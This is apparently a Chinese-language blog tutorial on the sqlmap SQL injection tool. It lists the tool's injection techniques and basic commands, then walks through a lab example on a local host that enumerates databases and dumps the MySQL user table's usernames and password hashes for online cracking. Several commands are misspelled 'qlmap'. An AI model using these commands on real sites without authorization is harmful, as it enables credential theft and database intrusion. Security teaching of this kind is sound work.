介绍
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞
SQLMap采用了以下5种独特的SQL注入技术。
- 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
- 联合查询注入,在可以使用Union的情况下的注入。
- 堆查询注入,可以同时执行多条语句时的注入。
SQLMap的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果
基本命令
sqlmap -u URL 检查注入点
qlmap -u URL --dbs 列出数据库的名字
qlmap -u URL --is-dba 当前用户是否是数据库管理员
qlmap -u URL --current-db 显示当前数据库的名字
-D 指定数据库
--tables 列出所有表名
qlmap -u URL -D "xx" --tables 列出xx数据库中的所有表
-T 指定一个表
--columns 列出所有的字段名
qlmap -u URL -D "xx" -T "cc" --columns 列出表中所有的字段名
-C 指定一个字段名
--dump 列出字段内容
qlmap -u URL -D "xx" -T "cc" -C "x,x,.." --dump 列出字段内容
栗子
对本地的网站 http://192.168.1.8/cms/show.php?id=33进行sql注入,(我先用safe3 Web扫描工具扫出了其存在sql注入漏洞)
1.检测注入点
.
中间有三次提示让你输yes或者no,直接输yes就好了。
说明可以注入
2.爆出数据库的名字
sqlmap -u http://192.168.1.8/cms/show.php?id=33 --dbs
3.指定数据库名,爆所有的表
sqlmap -u http://192.168.1.8/cms/show.php?id=33 -D mysql --tables
上面就是mysql中所有的表
4.指定表名,列出所有的字段名
sqlmap -u http://192.168.1.8/cms/show.php?id=33 -D mysql -T user --columns
5. 指定字段名列出数据
sqlmap -u http://192.168.1.8/cms/show.php?id=33 -D mysql -T user -C "user,password" --dump
password字段中的数据为md5加密,我们可以去在线解密 www.cmd5.com